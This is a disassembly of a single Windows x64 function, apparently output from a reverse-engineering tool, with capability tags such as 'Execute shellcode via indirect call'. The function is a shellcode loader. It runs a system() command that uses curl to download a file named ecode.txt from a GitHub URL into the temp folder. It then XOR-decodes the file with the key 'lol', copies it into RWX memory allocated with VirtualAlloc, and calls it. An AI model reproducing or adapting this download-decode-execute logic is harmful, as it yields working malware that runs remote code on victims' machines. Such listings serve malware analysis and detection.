Function at 0x1400010d0
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call
Get common file path
Terminate process

Disassembly:
sub rsp, 0x3c8
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x3b0], rax
lea rdx, [rsp + 0xa0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathA]
test eax, eax
jne 0x140001129
lea rcx, str.Failed_to_retrieve_temporary_directory_path._n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.140001340
add rsp, 0x3c8
ret
mov qword [rsp + 0x3d0], rbx
lea r8, [rsp + 0xa0]
mov qword [rsp + 0x3d8], rbp
lea rdx, str.cd__s__curl__L__o_ecode.txt_https:__github.com_microsoft_vscode_files_15195121_ecode.txt
mov qword [rsp + 0x3e0], rsi
lea rcx, [rsp + 0x1b0]
mov qword [rsp + 0x3e8], rdi
mov qword [rsp + 0x3c0], r14
call fcn.140001070
lea rcx, [rsp + 0x1b0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edi, edi
mov eax, edi
nop
movzx ecx, byte [rsp + rax + 0xa0]
mov byte [rsp + rax + 0x30], cl
lea rax, [rax + 1]
test cl, cl
jne 0x140001180
lea rcx, [rsp + 0x30]
dec rcx
nop dword [rax]
cmp byte [rcx + 1], dil
lea rcx, [rcx + 1]
jne 0x1400011a0
movzx eax, word [0x140003348]
lea rdx, [rsp + 0x30]
movsd xmm0, qword [str.ecode.txt]
movsd qword [rcx], xmm0
mov word [rcx + 8], ax
movzx eax, byte [0x14000334a]
mov byte [rcx + 0xa], al
lea rcx, [0x14000334c]
call fcn.140001010
lea rdx, [0x140003350]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
xor edx, edx
mov rcx, rax
mov rbp, rax
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov rcx, rbp
movsxd rbx, eax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_rewind]
mov rcx, rbx
mov rsi, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
jne 0x14000123e
lea rcx, str.Memory_allocation_failed_n
call fcn.140001010
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
test ebx, ebx
jle 0x1400012af
mov rbx, rdi
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fgetc]
mov byte [rbx + r14], al
inc rbx
cmp rbx, rsi
jl 0x140001245
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
lea rax, [rsp + 0x20]
mov dword [rsp + 0x20], 0x6c6f6c
mov rcx, 0xffffffffffffffff
inc rcx
cmp byte [rax + rcx], dil
jne 0x140001277
mov r8, r14
mov r9, rsi
nop word [rax + rax]
movsxd rax, edi
lea r8, [r8 + 1]
xor edx, edx
inc edi
div rcx
movzx eax, byte [rsp + rdx + 0x20]
xor byte [r8 - 1], al
sub r9, 1
jne 0x140001290
jmp 0x1400012c0
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov dword [rsp + 0x20], 0x6c6f6c
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8, rsi
mov rdx, r14
mov rcx, rax
mov rbx, rax
call sub.VCRUNTIME140.dll_memcpy
call rbx
mov rdi, qword [rsp + 0x3e8]
xor eax, eax
mov rsi, qword [rsp + 0x3e0]
mov rbp, qword [rsp + 0x3d8]
mov rbx, qword [rsp + 0x3d0]
mov r14, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x3b0]
xor rcx, rsp
call fcn.140001340
add rsp, 0x3c8
ret